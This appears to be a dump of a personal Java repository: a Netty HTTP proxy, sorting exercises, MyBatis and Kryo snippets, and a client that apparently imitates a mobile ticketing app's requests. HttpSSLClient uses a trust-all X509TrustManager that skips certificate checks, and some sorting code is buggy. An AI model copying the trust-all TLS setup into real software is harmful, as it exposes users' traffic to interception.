ServerBootstrap b = new ServerBootstrap(); b.option(ChannelOption.SO_BACKLOG, 1024); b.group(bossGroup, workerGroup) .channel(NioServerSocketChannel.class) .handler(new LoggingHandler(LogLevel.INFO)) .childHandler(new HttpHelloWorldServerInitializer(sslCtx,httpClientManager)); Channel ch = b.bind(PORT).sync().channel(); allChannels.add(ch); System.err.println("Open your web browser and navigate to " + (SSL? "https" : "http") + "://127.0.0.1:" + PORT + '/'); ch.closeFuture().sync(); allChannels.close().awaitUninterruptibly(); } finally { bossGroup.shutdownGracefully(); workerGroup.shutdownGracefully(); } } public void shutdown() { //To change body of created methods use File | Settings | File Templates. } } <file_sep>/code-test/src/main/java/sort/HeapSort.java package sort; import com.google.common.collect.Lists; import org.apache.commons.lang.ArrayUtils; import org.springframework.util.CollectionUtils; import java.util.Arrays; import java.util.Collections; import java.util.List; import java.util.Random; /** * Created by Mtime on 2017/5/31. */ public class HeapSort { /** * 调整为小顶堆(排序后结果为从大到小) * * @param array是待调整的堆数组 * @param s是待调整的数组元素的位置 * @param length是数组的长度 * */ public static void maxHeap(int[] array, int s, int length) { int tmp = array[s]; int child = 2 * s + 1;// 左孩子结点的位置 System.out.println("待调整结点为:array[" + s + "] = " + tmp); while (child < length) { // child + 1 是当前调整结点的右孩子 // 如果有右孩子且小于左孩子,使用右孩子与结点进行比较,否则使用左孩子 if (child + 1 < length && array[child] > array[child + 1]) { child++; } System.out.println("将与子孩子 array[" + child + "] = " + array[child] + " 进行比较"); // 如果较小的子孩子比此结点小 if (array[s] > array[child]) { System.out.println("子孩子比其小,交换位置"); array[s] = array[child];// 把较小的子孩子向上移动,替换当前待调整结点 s = child;// 待调整结点移动到较小子孩子原来的位置 array[child] = tmp; child = 2 * s + 1;// 继续判断待调整结点是否需要继续调整 if (child >= length) { System.out.println("没有子孩子了,调整结束"); } else { System.out.println("继续与新的子孩子进行比较"); } // continue; } else { System.out.println("子孩子均比其大,调整结束"); break;// 当前待调整结点小于它的左右孩子,不需调整,直接退出 } } } /** * 调整为大顶堆(排序后结果为从小到大) * * @param array是待调整的堆数组 * @param s是待调整的数组元素的位置 * @param length是数组的长度 * */ public static void minHeap(int[] array, int s, int length) { int tmp = array[s]; int child = 2 * s + 1;// 左孩子结点的位置 System.out.println("待调整结点为:array[" + s + "] = " + tmp); while (child < length) { // child + 1 是当前调整结点的右孩子 // 如果有右孩子且大于左孩子,使用右孩子与结点进行比较,否则使用左孩子 if (child + 1 < length && array[child] < array[child + 1]) { child++; } System.out.println("将与子孩子 array[" + child + "] = " + array[child] + " 进行比较"); // 如果较大的子孩子比此结点大 if (array[s] < array[child]) { System.out.println("子孩子比其大,交换位置"); array[s] = array[child];// 把较大的子孩子向上移动,替换当前待调整结点 s = child;// 待调整结点移动到较大子孩子原来的位置 array[child] = tmp; child = 2 * s + 1;// 继续判断待调整结点是否需要继续调整 if (child >= length) { System.out.println("没有子孩子了,调整结束"); } else { System.out.println("继续与新的子孩子进行比较"); } // continue; } else { System.out.println("子孩子均比其小,调整结束"); break;// 当前待调整结点大于它的左右孩子,不需调整,直接退出 } } } /** * 堆排序算法 * * @param array * @param inverse true 为倒序排列,false 为正序排列 */ public static void heapSort(int[] array, boolean inverse) { // 初始堆 // 最后一个有孩子的结点位置 i = (length - 1) / 2, 以此向上调整各结点使其符合堆 System.out.println("初始堆开始"); for (int i = (array.length - 1) / 2; i >= 0; i--) { if (inverse) { maxHeap(array, i, array.length); } else { minHeap(array, i, array.length); } } System.out.println("初始堆结束.......---------------"); for (int i : array) { System.out.print(i + " "); } System.out.println("开始调整.......---------------"); for (int i = array.length - 1; i > 0; i--) { // 交换堆顶元素H[0]和堆中最后一个元素 int tmp = array[i]; array[i] = array[0]; array[0] = tmp; // 每次交换堆顶元素和堆中最后一个元素之后,都要对堆进行调整 if (inverse) { maxHeap(array, 0, i); } else { minHeap(array, 0, i); } } } private static void take(){ int size = 100; int [] arr = new int[size]; for(int i = 0 ;i< size ; i ++){ arr [i] = i; } List a = Lists.newArrayList(); while(size > 0){ int rIndex = new Random().nextInt(size); int t = arr[size-1]; a.add( arr[rIndex]); arr[size-1] = arr[rIndex]; arr[rIndex] = t; size--; } Collections.sort(a); System.out.println(a.toString()); } public static void main(String[] args) { int[] array = { 49, 38, 65, 97, 76, 13, 27, 49 }; for(int i = 0 ; i < (array.length >> 1) -1 ; i -- ){ if(i == 0 )return; buildMaxHeap(array,i,array.length); } // for(int i = array.length -1 ; i > 0 ; i -- ){ // int tmp = array[i]; // array[i] = array[0]; // array[0] = tmp; // buildMaxHeap(array,i,0); // } // System.out.println("build heap sort:"+ ArrayUtils.toString(array)); // heapSort(array, false); // for (int i : array) { // System.out.print(i + " "); // } } public static void buildMaxHeap(int [] arr, int index, int length){ System.out.println("sort index = " + index); int left = index << 1 + 1; int right = index << 1 + 2; int maxm = index; if(left < length && arr[index] < arr[left] ){ maxm = left; } if(right < length && arr[right] > arr[maxm]){ maxm = right; } if(maxm == index){ return; } int t = arr[index]; arr[index] = arr[maxm]; arr[maxm] = t; buildMaxHeap(arr,maxm,length); } public static void adjustMaxHeap(){ } } <file_sep>/code-test/src/main/java/com/emirbobo/netty/RoomChannelManager.java package com.emirbobo.netty; import java.nio.channels.Channel; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.atomic.AtomicInteger; /** * Created by emirbobo on 2016/10/15. */ public class RoomChannelManager { static AtomicInteger roomIdQueue = new AtomicInteger(1); //房间 和用户通道对应表 static Map<Integer,List<Channel>> roomChannelRealation = new ConcurrentHashMap<Integer, List<Channel>>(); //房间和播客关系对应表 Map<Integer,Integer> roomAnchorRealation = new ConcurrentHashMap<Integer, Integer>(); public static void join(Integer roomId,Channel channel){ List<Channel> channels = roomChannelRealation.get(roomId); if(channels == null){ System.out.println("this room not exist !"); return; } channels.add(channel); } public static Integer createRoom(Channel anchorChannel){ List<Channel> channels = new ArrayList<Channel>(); channels.add(anchorChannel); Integer roomId = roomIdQueue.getAndIncrement(); roomChannelRealation.put(roomId,channels); return roomId; } } <file_sep>/mybatis-test/mybatis-plugin/src/main/java/com/emirbobo/proxy/Interceptor.java package com.emirbobo.proxy; /** * Created by xijingbo on 2016-08-30. */ public interface Interceptor { // void Intercept(); Object intercept(Invocation invocation) throws Throwable; public Object register(Object target); } <file_sep>/README.md # common-code common-code <file_sep>/code-test/src/main/java/kryo/model/ZookeeperTest1.java package kryo.model; import java.io.Serializable; public class ZookeeperTest1 implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name = name; } public String print(){ return System.currentTimeMillis()+""; } } <file_sep>/mybatis-test/spring-mybatis/src/main/java/com/emirbobo/web/dao/UserMapper.java package com.emirbobo.web.dao; import java.util.List; public interface UserMapper { public int insertOrUpdate(String uname); public List listAll(); } <file_sep>/code-test/src/main/java/date/DateThreadFactory.java package date; import java.util.concurrent.ThreadFactory; import java.util.concurrent.atomic.AtomicInteger; /** * Created by xijingbo on 2016-09-28. */ public class DateThreadFactory implements ThreadFactory { AtomicInteger threadCount = new AtomicInteger(1); private String tName; DateThreadFactory(String tName){ super(); this.tName = tName; } @Override public Thread newThread(Runnable r) { Thread t = new Thread(r,"dateThread-"+tName +"-"+threadCount.getAndIncrement()); t.setDaemon(true); return t; } } <file_sep>/httpapp/src/main/java/lsy/app/http/pack/PackReach.java package lsy.app.http.pack; import lsy.app.main.AppClient; import org.apache.http.StatusLine; /** * Created by Administrator on 2016/9/12. */ public class PackReach extends Pack { public PackReach() { super("/otsmobile/apps/services/reach",false); addHeader("X-Requested-With","com.MobileTicket"); } @Override public void handleResult(AppClient appClient, StatusLine statusLine, String response) { } } <file_sep>/httpapp/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>lsy</groupId> <artifactId>http-app</artifactId> <packaging>jar</packaging> <version>1.0</version> <name>netty-http-proxy</name> <url>http://maven.apache.org</url> <distributionManagement> <repository> <id>jar-repository</id> <name>Temp Jar Repository</name> <url>file://${basedir}/target/deploy</url> </repository> </distributionManagement> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.3.4</version> </dependency> <dependency> <groupId>io.netty</groupId> <artifactId>netty-all</artifactId> <version>4.0.21.Final</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>4.1.0.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.0.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.1.0.RELEASE</version> </dependency> <!--<dependency>--> <!--<groupId>io.netty</groupId>--> <!--<artifactId>netty</artifactId>--> <!--<version>3.9.2.Final</version>--> <!--</dependency>--> </dependencies> <build> <finalName>httpproxy</finalName> <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.7</source> <target>1.7</target> <encoding>UTF8</encoding> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>2.4</version> <configuration> <webResources> <!--<resource>--> <!--<directory>${basedir}/src/main/resources</directory>--> <!--</resource>--> </webResources> <!--<webXml>${basedir}/WebRoot/WEB-INF/web.xml</webXml>--> </configuration> </plugin> <plugin> <artifactId>maven-antrun-plugin</artifactId> <version>1.7</version> <executions> <execution> <id>clean_jars</id> <phase>clean</phase> <configuration> <target> <delete failonerror="false" includeEmptyDirs="true"> <fileset dir="${basedir}/WebRoot/WEB-INF/lib/" includes="*.jar"/> </delete> <delete failonerror="false" includeEmptyDirs="true"> <fileset dir="${basedir}/WebRoot/WEB-INF/classes" includes="**/*"/> </delete> </target> </configuration> <goals> <goal>run</goal> </goals> </execution> <execution> <id>deploy_jars</id> <phase>deploy</phase> <configuration> <target> <copy todir="${basedir}/run/"> <fileset dir="${project.build.directory}"> <!--exclude name="javassist-3.11.0.GA.jar"/--> <include name="${build.finalName}.jar"/> </fileset> </copy> </target> </configuration> <goals> <goal>run</goal> </goals> </execution> <!--<execution>--> <!--<id>enhance_entity</id>--> <!--<phase>generate-sources</phase>--> <!--<configuration>--> <!--<target name="z_entityFileEnhance">--> <!--<taskdef name="do_replace"--> <!--classname="com.common.ant.ReplaceFileContentTask"--> <!--classpathref="compile.classpath"/>--> <!--<do_replace>--> <!--<replacement find="lsy.cms.type.hibernate.ColumnTypeConverter" replace="lsy.cms.type.ColumnType" regexp="false"></replacement>--> <!--<fileset dir="${basedir}/src/com/wfg/entity" includes="**/*.java">--> <!--</fileset>--> <!--</do_replace>--> <!--</target>--> <!--</configuration>--> <!--<goals>--> <!--<goal>run</goal>--> <!--</goals>--> <!--</execution>--> <!--execution> <id>ftp</id> <phase>deploy</phase> <configuration> <target> <ftp action="send" server="myhost" remotedir="/home/test" userid="x" password="y" depends="yes" verbose="yes"> <fileset dir="${project.build.directory}"> <include name="*.jar" /> </fileset> </ftp> <taskdef name="myTask" classname="com.acme.MyTask" classpathref="maven.plugin.classpath"/> <myTask a="b"/> </target> </configuration> <goals> <goal>run</goal> </goals> </execution--> </executions> <dependencies> <dependency> <groupId>commons-net</groupId> <artifactId>commons-net</artifactId> <version>1.4.1</version> </dependency> <dependency> <groupId>org.apache.ant</groupId> <artifactId>ant-commons-net</artifactId> <version>1.8.1</version> </dependency> </dependencies> </plugin> </plugins> </build> </project> <file_sep>/code-test/src/main/java/passport/Register.java //package passport; // //import java.io.UnsupportedEncodingException; //import java.net.URLEncoder; //import java.util.HashMap; //import java.util.Map; // ///** // * Created by xijingbo on 2016-09-07. // */ //public class Register { // // public static void main(String [] args){ // Map<String, String> params = new HashMap<String, String>(); // params.put("mobile", "18612181726"); // params.put("mobileCode", "2a6fz"); // //只手机号密码注册 // // params.put("regType", "mobile_pwd"); // params.put("pwdEncryptType", "md5"); // params.put("password", ""); // // String body = HttpRequestUnitPost("http://10.25.35.145:8080/api/verifyCaptcha.htm", params, "10.155.0.222", "54B4B460-CCE9-4D10-A764-53FF87B7C7C5"); // } // // protected static String HttpRequestUnitPost(String url, Map<String, String> params, String userIp, String userAgent) { // try{ // HttpRequestUnit hrunit = HttpRequestUnit.post(url); // Map<String, String> map = addBaseParam(params, userIp, userAgent); // logger.info("call passport url={} params={}", url, map); // // Map<String, String> postParams = new HashMap<String, String>(); // postParams.put("sign", map.get("sign")); // postParams.put("msg", map.get("msg")); // hrunit.form(postParams); // String body = hrunit.body(); // return body; // } catch (Exception e) { // logger.error( // "调用passport接口异常,url={} e={}" , url, e); // } // return null; // } // // /** // * 为请求参数增加基础参数 // * @param params // * @param userIp // * @param userAgent // * @return // */ // protected Map<String, String> addBaseParam(Map<String, String> params, String userIp, String userAgent) { // // try { // // if(userIp != null && !userIp.equals("")){ // params.put("userIp", userIp); // } // // if(userAgent != null && !userAgent.equals("")){ // params.put("userAgent", userAgent); // } // // params.put("referer", "laifeng"); // params.put("pid", "20160727PLF000806"); // params.put("version", "1.0.0"); // String msg = URLEncoder.encode(Base64Util.encode(JSONUtil.oject2Json(params).getBytes()), "UTF-8"); // params.put("msg", msg); // String sign = CmnUtils.md5(msg + getPassportv3_secret()); // params.put("sign", sign); // } catch (UnsupportedEncodingException e) { // logger.error("addParamSign error {}", e); // } // return params; // } // // //}<file_sep>/httpapp/src/main/java/lsy/station/StationHttpClientManager.java package lsy.station; import io.netty.buffer.Unpooled; import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.http.*; import lsy.ext.HttpConnect; import lsy.ext.HttpUtil; import lsy.proxy.ProxyDebugger; import org.apache.http.Header; import org.apache.http.HttpEntity; import org.apache.http.HttpHost; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.config.CookieSpecs; import org.apache.http.client.config.RequestConfig; import org.apache.http.client.methods.*; import org.apache.http.impl.client.HttpClients; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.URI; import java.util.Set; import java.util.regex.Pattern; import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LENGTH; import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1; /** * Created with IntelliJ IDEA. * User: Administrator * Date: 14-7-15 * Time: 下午7:59 * To change this template use File | Settings | File Templates. */ public class StationHttpClientManager { public static final Pattern PatternHaveProtocol = Pattern.compile("^[a-z0-9]+://.*$", Pattern.CASE_INSENSITIVE); // MultiThreadedHttpConnectionManager connectionManager = new MultiThreadedHttpConnectionManager(); PoolingHttpClientConnectionManager connectionManager; RequestConfig globalConfig = RequestConfig.custom() .setCookieSpec(CookieSpecs.BEST_MATCH) .build(); RequestConfig localConfig = RequestConfig.copy(globalConfig) .setCookieSpec(CookieSpecs.BROWSER_COMPATIBILITY) .build(); HttpClient httpClient; int jumpCount = 0; static int MaxJumpCount = 10; public StationHttpClientManager() { connectionManager = new PoolingHttpClientConnectionManager(); httpClient = HttpClients.custom() .setDefaultRequestConfig(globalConfig) .setConnectionManager(connectionManager) .build(); } public FullHttpResponse proxyRequest(ChannelHandlerContext ctx, HttpRequest req) { HttpMethod method = req.getMethod(); HttpHeaders headers = req.headers(); Set<String> headerNames = headers.names(); jumpCount = 0; String targetHost = headers.get("Host"); int targetPort = 80; ProxyDebugger.debug("URI : "+req.getUri()); if(targetHost.contains(":")) { String hostInfo[] = targetHost.split(":"); // targetHost = hostInfo[0]; try { targetPort = Integer.parseInt(hostInfo[1]); } catch (NumberFormatException e) { e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates. } } HttpHost proxyHttpHost = new HttpHost(targetHost,targetPort); org.apache.http.HttpRequest proxyRequest = null; // String uri = getUri(req.getUri()); String uri = (req.getUri()); ProxyDebugger.debug("Start Request URI : " + uri); if("GET".equals(method.name())) proxyRequest = new HttpGet(uri); else if("POST".equals(method.name())) { proxyRequest = new HttpPost(uri); // ((HttpPost)proxyRequest).setConfig(localConfig); } else if("PUT".equals(method.name())) { proxyRequest = new HttpPut(uri); } else if("HEAD".equals(method.name())) { proxyRequest = new HttpHead(uri); } else if("TRACE".equals(method.name())) { proxyRequest = new HttpTrace(uri); } else if("DELETE".equals(method.name())) { proxyRequest = new HttpDelete(uri); } else if("OPTIONS".equals(method.name())) { proxyRequest = new HttpOptions(uri); } else if("CONNECT".equals(method.name())) { proxyRequest = new HttpConnect(req); } else { throw new RuntimeException("不支持 "+method.name()); } // httpClient.execute(); for(String name : headerNames) { String headerValue = headers.get(name); // if(!"Cookie".equals(name)) if(!CONTENT_LENGTH.equals(name)) { // ProxyDebugger.debug("Add Header " + name); proxyRequest.setHeader(name,headerValue); } } try { org.apache.http.HttpResponse httpResponse = httpClient.execute(proxyHttpHost, proxyRequest); FullHttpResponse proxyResponse = toProxyResponse(req,httpResponse); proxyResponse = processResponse(proxyResponse); ProxyDebugger.debug("End Request URI : " + uri); return proxyResponse; } catch (IOException e) { e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates. } return null; //To change body of created methods use File | Settings | File Templates. } private FullHttpResponse processResponse(FullHttpResponse proxyResponse) { HttpHeaders headers = proxyResponse.headers(); String headerLocation = headers.get("Location"); if(headerLocation == null) { return proxyResponse; } else { try { URI uri = new URI(headerLocation); int port = HttpUtil.getPort(headerLocation); ProxyDebugger.debug("Tunnel Location : "+headerLocation+" "+uri.getHost()+" "+port); HttpHost proxyHttpHost = new HttpHost(uri.getHost(),port); org.apache.http.HttpRequest proxyRequest = new HttpGet(uri); // for(String name : headerNames) // { // String headerValue = headers.get(name); // { // proxyRequest.setHeader(name,headerValue); // } // } org.apache.http.HttpResponse httpResponse = httpClient.execute(proxyHttpHost, proxyRequest); proxyResponse = toProxyResponse(null,httpResponse); proxyResponse = processResponse(proxyResponse); ProxyDebugger.debug("Redirect To " + headerLocation); } catch (Exception e) { e.printStackTrace(); } // proxyRequest = new HttpGet(uri); } return proxyResponse; } private String getUri(String uri) { ProxyDebugger.debug("Parsing URI : "+uri); if(PatternHaveProtocol.matcher(uri).matches()) { int i = uri.indexOf(":"); uri = uri.substring(i+3); i = uri.indexOf("/"); if(i>0) return uri.substring(i); else return "/"; } return uri; } private FullHttpResponse toProxyResponse(HttpRequest req, HttpResponse httpResponse) { HttpEntity entity = httpResponse.getEntity(); byte [] responseContent = null; if (entity != null) { try { InputStream is = entity.getContent(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte [] buf = new byte[1024]; int read = 0; while ((read = is.read(buf))>=0) { if(read>0) bos.write(buf,0,read); } is.close(); bos.close(); responseContent=bos.toByteArray(); } catch (Exception e) { e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates. } } FullHttpResponse response = null; HttpVersion httpVersion = HTTP_1_1; HttpResponseStatus status = HttpResponseStatus.valueOf(httpResponse.getStatusLine().getStatusCode()); if(responseContent == null) response = new DefaultFullHttpResponse(httpVersion, status); else response = new DefaultFullHttpResponse(httpVersion, status, Unpooled.wrappedBuffer(responseContent)); Header[] proxyHeaders = httpResponse.getAllHeaders(); if(proxyHeaders!=null) for(Header header : proxyHeaders) { response.headers().set(header.getName(),header.getValue()); } String contentLength = response.headers().get(CONTENT_LENGTH); if(contentLength == null && responseContent!=null) response.headers().set(CONTENT_LENGTH, response.content().readableBytes()); ProxyDebugger.debug(req,httpResponse,responseContent); return response; //To change body of created methods use File | Settings | File Templates. } } <file_sep>/httpapp/src/main/java/lsy/app/http/pack/PackLogin.java package lsy.app.http.pack; import lsy.app.main.AppClient; import org.apache.http.StatusLine; /** * Created by Administrator on 2016/9/12. */ public class PackLogin extends Pack { public PackLogin(String url, boolean post) { super("", true); } public PackLogin() { super(""); } @Override public void handleResult(AppClient appClient, StatusLine statusLine, String response) { } } <file_sep>/httpapp/src/main/java/lsy/app/http/task/TaskReady.java package lsy.app.http.task; import lsy.app.http.pack.PackLaunch; import lsy.app.http.pack.PackReach; /** * Created by Administrator on 2016/9/12. */ public class TaskReady extends Task { public TaskReady() { appendPack(new PackLaunch(), new PackReach()); } } <file_sep>/code-test/src/main/java/com/lang/UncheckException.java package com.lang; /** * Created by Mtime on 2017/3/8. */ public class UncheckException extends RuntimeException { public UncheckException() { super(); } public UncheckException(String message) { super(message); } public UncheckException(String message, Throwable cause) { super(message, cause); } public UncheckException(Throwable cause) { super(cause); } protected UncheckException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } } <file_sep>/httpapp/src/test/java/util/ConsoleUtil.java package util; /** * Created by Administrator on 2014/9/10. */ public class ConsoleUtil { public static void info(String info) { System.out.print("\n"+info); } } <file_sep>/code-test/src/main/java/testannotation/myanno/Testor.java package testannotation.myanno; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by Administrator on 2016/8/31. */ public class Testor { public static void main(String[] args) { // Testor testor = new Testor(); // testor.execute(); match(); } public static void match(){ Pattern pattern = Pattern.compile("<[\\w]+|\\[\\w]+>"); Matcher matcher = pattern.matcher("<p>sfedsfd</p><p>vdfsfd</p>"); while(matcher.find()){ System.out.println(matcher.group()); } } private void execute() { Class<UseAnno> testClass = UseAnno.class; //因为注解是作用于类上面的,所以可以通过isAnnotationPresent来判断是否是一个 //有UserNameAnnotations注解的类 if (testClass.isAnnotationPresent(UserNameAnnotations.class)) { System.out.println("this is a Annotations class"); //通过getAnnotation可以获取注解对象 UserNameAnnotations userNameAnnotations = (UserNameAnnotations) testClass. getAnnotation(UserNameAnnotations.class); if (userNameAnnotations != null) { System.out.println("value:" + userNameAnnotations.value()); } else { System.out.println("null"); } } else { System.out.println("this is not Annotations class"); } } } <file_sep>/httpapp/src/main/java/lsy/proxy/HttpHelloWorldServerHandler.java /* * Copyright 2013 The Netty Project * * The Netty Project licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package lsy.proxy; import io.netty.buffer.Unpooled; import io.netty.channel.ChannelFutureListener; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.handler.codec.http.DefaultFullHttpResponse; import io.netty.handler.codec.http.FullHttpResponse; import io.netty.handler.codec.http.HttpRequest; import lsy.station.StationHttpClientManager; import static io.netty.handler.codec.http.HttpHeaders.Names.*; import static io.netty.handler.codec.http.HttpHeaders.*; import static io.netty.handler.codec.http.HttpResponseStatus.CONTINUE; import static io.netty.handler.codec.http.HttpResponseStatus.OK; import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1; public class HttpHelloWorldServerHandler extends ChannelInboundHandlerAdapter { private static final byte[] CONTENT = { 'H', 'e', 'l', 'l', 'o', ' ', 'W', 'o', 'r', 'l', 'd' }; private StationHttpClientManager httpClientManager; public HttpHelloWorldServerHandler(StationHttpClientManager httpClientManager) { super(); this.httpClientManager = httpClientManager; } @Override public void channelReadComplete(ChannelHandlerContext ctx) { ctx.flush(); } @Override public void channelActive(ChannelHandlerContext ctx) throws Exception { super.channelActive(ctx); StationHttpProxyServer.allChannels.add(ctx.channel()); ProxyDebugger.debug("allChannel-Count : "+StationHttpProxyServer.allChannels.size()); } @Override public void channelRead(ChannelHandlerContext ctx, Object msg) { if (msg instanceof HttpRequest) { HttpRequest req = (HttpRequest) msg; ProxyDebugger.debug(ctx,req); String uri = req.getUri(); if(uri.indexOf("/member/login.jhtml")>0) { ProxyDebugger.debug("REQ : "+uri); } FullHttpResponse response = httpClientManager.proxyRequest(ctx,req); if(response.headers()!=null && response.headers().names().contains("Location")) { ProxyDebugger.debug("Location : "+response.headers().get("Location")); } if (is100ContinueExpected(req)) { ctx.write(new DefaultFullHttpResponse(HTTP_1_1, CONTINUE)); } boolean keepAlive = isKeepAlive(req); if(response == null) { response = new DefaultFullHttpResponse(HTTP_1_1, OK, Unpooled.wrappedBuffer(CONTENT)); response.headers().set(CONTENT_TYPE, "text/plain"); response.headers().set(CONTENT_LENGTH, response.content().readableBytes()); } if (!keepAlive) { ctx.write(response).addListener(ChannelFutureListener.CLOSE); } else { response.headers().set(CONNECTION, Values.KEEP_ALIVE); ctx.write(response); } } } @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } } <file_sep>/httpapp/src/main/java/lsy/app/http/task/TaskCommon.java package lsy.app.http.task; import lsy.app.http.task.Task; /** * Created by Administrator on 2016/9/13. */ public class TaskCommon extends Task { } <file_sep>/code-test/src/main/java/fanxing/GiftParent.java package fanxing; /** * Created by Mtime on 2017/1/18. */ public interface GiftParent { String customProcess(); } <file_sep>/code-test/src/main/java/sort/FastSort.java package sort; /** * Created by Mtime on 2017/5/12. */ public class FastSort { public static void main(String [] args){ // int [] a = {4,2,3,5,7,2,1,2,3,6,7,2,3}; // int low = 0, high = a.length,seg=a[0]; // while(high > low){ // if(seg > a[high]){ // int hl = a[high]; // a[low] = a[high]; // } // high--; // while(low < ) // } int total = 200000; int totalreturn = 0; for(int i =0 ;i< 36 ; i ++){ total -= 200000 / 36 ; totalreturn += 1000; System.out.println("还款第"+ (i+1) +"个月,剩余->" + total + ", 全部还款需要 ->" + (total+ total * 0.05) + ", 总利息:"+(totalreturn + total * 0.05 ) + ",利率:"+ (Float.parseFloat((((totalreturn + total * 0.05 ) / 200000) + "" ).substring(0,5)) * 100)+"%"); } } } <file_sep>/httpapp/src/main/java/lsy/app/main/AppClient.java package lsy.app.main; import lsy.app.http.SSLHttpClient; import lsy.app.http.SSLHttpClientBuilder; import lsy.app.http.pack.Pack; import lsy.app.http.task.Task; import lsy.util.UtilConsole; /** * Created by Administrator on 2016/9/11. */ public class AppClient { SSLHttpClient httpClient; boolean init = false; private Task curTask; private Pack curPack; public AppClient() { try { init(); init = true; } catch (Exception e) { e.printStackTrace(); } } private void init() { initHttpClient(); } private void initHttpClient() { httpClient = SSLHttpClientBuilder.newBuilder() .setHeader("User-Agent", "Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; 2014011 Build/HM2014011) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") .setHeader("Connection", "keep-alive") .setHeader("Accept-Language", "zh_CN") .setHeader("X-Requested-With", "XMLHttpRequest") .setHeader("x-wl-platform-version","6.0.0") .setHeader("x-wl-app-version","2.4") // .setHeader("WL-Instance-Id","fngm3nks6tndg0eakadni50clt") .setHeader("Accept", "text/javascript, text/html, application/xml, text/xml, */*") .setHeader("Accept-Encoding","gzip,deflate") .setHeader("Accept-Charset","utf-8, utf-16, *;q=0.7") .build(); } public boolean isInit() { return init; } public synchronized void executeTask(Task task) { if(this.curTask != null && ! this.curTask.isFinish()) { UtilConsole.error("Current Task Not Finished"); return; } this.curTask = task; this.taskStep(); } private void taskStep() { this.curPack = this.curTask.nextPack(); if(this.curPack == null) return; httpClient.execute(this); taskStep(); } public Pack getCurPack() { return curPack; } public Task getCurTask() { return curTask; } public void addFixHeader(String name, String value) { httpClient.addFixHeader(name,value); } } <file_sep>/code-test/src/main/java/util/Signal.java package util; import lombok.Data; import java.util.Map; /** * Created by Mtime on 2017/3/2. */ @Data public class Signal { int cmdCode; String messageId; String roomNum; Map<String, String> cmdParams; } <file_sep>/httpapp/src/main/java/lsy/ext/HttpSSLClient.java package lsy.ext; import org.apache.http.HttpHost; import org.apache.http.conn.scheme.Scheme; import org.apache.http.conn.scheme.SchemeRegistry; import org.apache.http.conn.ssl.SSLConnectionSocketFactory; import org.apache.http.conn.ssl.SSLSocketFactory; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.impl.conn.BasicClientConnectionManager; import org.apache.http.impl.conn.DefaultSchemePortResolver; import javax.net.ssl.SSLContext; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import java.security.SecureRandom; import java.security.cert.CertificateException; /** * Created by Administrator on 2014/9/10. */ public class HttpSSLClient { static HttpSSLClient instance; DefaultHttpClient httpClient; private HttpSSLClient() { super(); } public static HttpSSLClient getInstance() { synchronized (HttpSSLClient.class) { if(instance == null) { try { instance = new HttpSSLClient(); instance.initInstance(); } catch (Exception e) { e.printStackTrace(); } } return instance; } } private void initInstance() throws Exception { SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, new TrustManager[] { new X509TrustManager() { @Override public void checkClientTrusted(java.security.cert.X509Certificate[] x509Certificates, String s) throws CertificateException { System.out.println("checkClientTrusted ============="); } @Override public void checkServerTrusted(java.security.cert.X509Certificate[] x509Certificates, String s) throws CertificateException { System.out.println("checkServerTrusted ============="); } @Override public java.security.cert.X509Certificate[] getAcceptedIssuers() { System.out.println("getAcceptedIssuers ============="); return null; } } }, new SecureRandom()); SSLSocketFactory sf = new SSLSocketFactory(sslContext); Scheme httpsScheme = new Scheme("https", 443, sf); SchemeRegistry schemeRegistry = new SchemeRegistry(); schemeRegistry.register(httpsScheme); // apache HttpClient version >4.2 should use BasicClientConnectionManager BasicClientConnectionManager cm = new BasicClientConnectionManager(schemeRegistry); this.httpClient = new DefaultHttpClient(cm); } public DefaultHttpClient getHttpClient() { return httpClient; } }<file_sep>/httpapp/src/main/java/lsy/Manager.java package lsy; import lsy.proxy.StationHttpProxyServer; import 